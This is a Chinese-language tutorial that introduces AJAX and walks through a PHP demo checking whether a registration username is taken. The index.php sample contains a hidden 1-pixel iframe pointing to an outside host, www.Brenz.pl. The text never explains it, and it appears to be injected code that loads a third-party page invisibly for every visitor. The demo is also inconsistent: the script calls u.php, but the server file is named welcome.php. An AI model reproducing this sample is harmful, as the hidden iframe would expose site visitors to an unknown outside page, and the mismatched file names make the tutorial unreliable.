AJAX即“Asynchronous Javascript And XML”（非同步JavaScript和XML），是指一種建立互動式網頁應用的網頁開發技術。
AJAX = Asynchronous JavaScript and XML（非同步 JavaScript 和 XML）。
AJAX 不是新的程式設計語言，而是一種使用現有標準的新方法。
AJAX 是與伺服器交換資料並更新部分網頁的藝術，在不重新載入整個頁面的情況下。
設計一個使用者註冊頁面，當使用者輸入註冊名的時候，檢測使用者名稱是否已存在，如果存在，給予提示
我們先打index.php
<html> <head> <meta http-equiv="content-type" content="text/html; charset=gb2312" /> <script type="text/JavaScript"> function Ajax(){ var xmlHttpReq=null;//初始對象xmlHttpReq if(window.ActiveXObject){ xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); }else if(window.XMLHttpRequest){ xmlHttpReq=new XMLHttpRequest(); } var userId=document.getElementById("userId").value;//value取得id為userId的值 url="u.php?userId="+userId;//路徑 if(xmlHttpReq!=null){//若對象執行個體化建立成功 xmlHttpReq.open("GET",url,true);//open()開啟請求 xmlHttpReq.onreadystatechange=RequestCallBack;//設定回呼函數RequestCallBack() xmlHttpReq.send(null);//請求不包括本文 } function RequestCallBack(){//回呼函數 if(xmlHttpReq.readystate==4){ if(xmlHttpReq.status==200){//請求成功 document.getElementById("get").innerHTML=xmlHttpReq.responseText;//將得到的資訊賦給id屬性為get的div } } } } </script> </head> <body> <font> 註冊 </font><br> <form> 使用者名稱:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="檢測"onclick="Ajax()"> <div id="get"> </div> </form> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html>
welcome.php
<?php header("content-type:text/html;charset=gb2312"); //sleep(1); $userId=$_GET["userId"]; if($userId=="管理員"){ echo "使用者名稱已存在!"; }else{ echo "該使用者名稱可以註冊"; } ?>
關於PHP與Ajax相結合實現登入驗證小Demo的相關知識就給大家介紹到這裡，希望對大家有所協助！
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
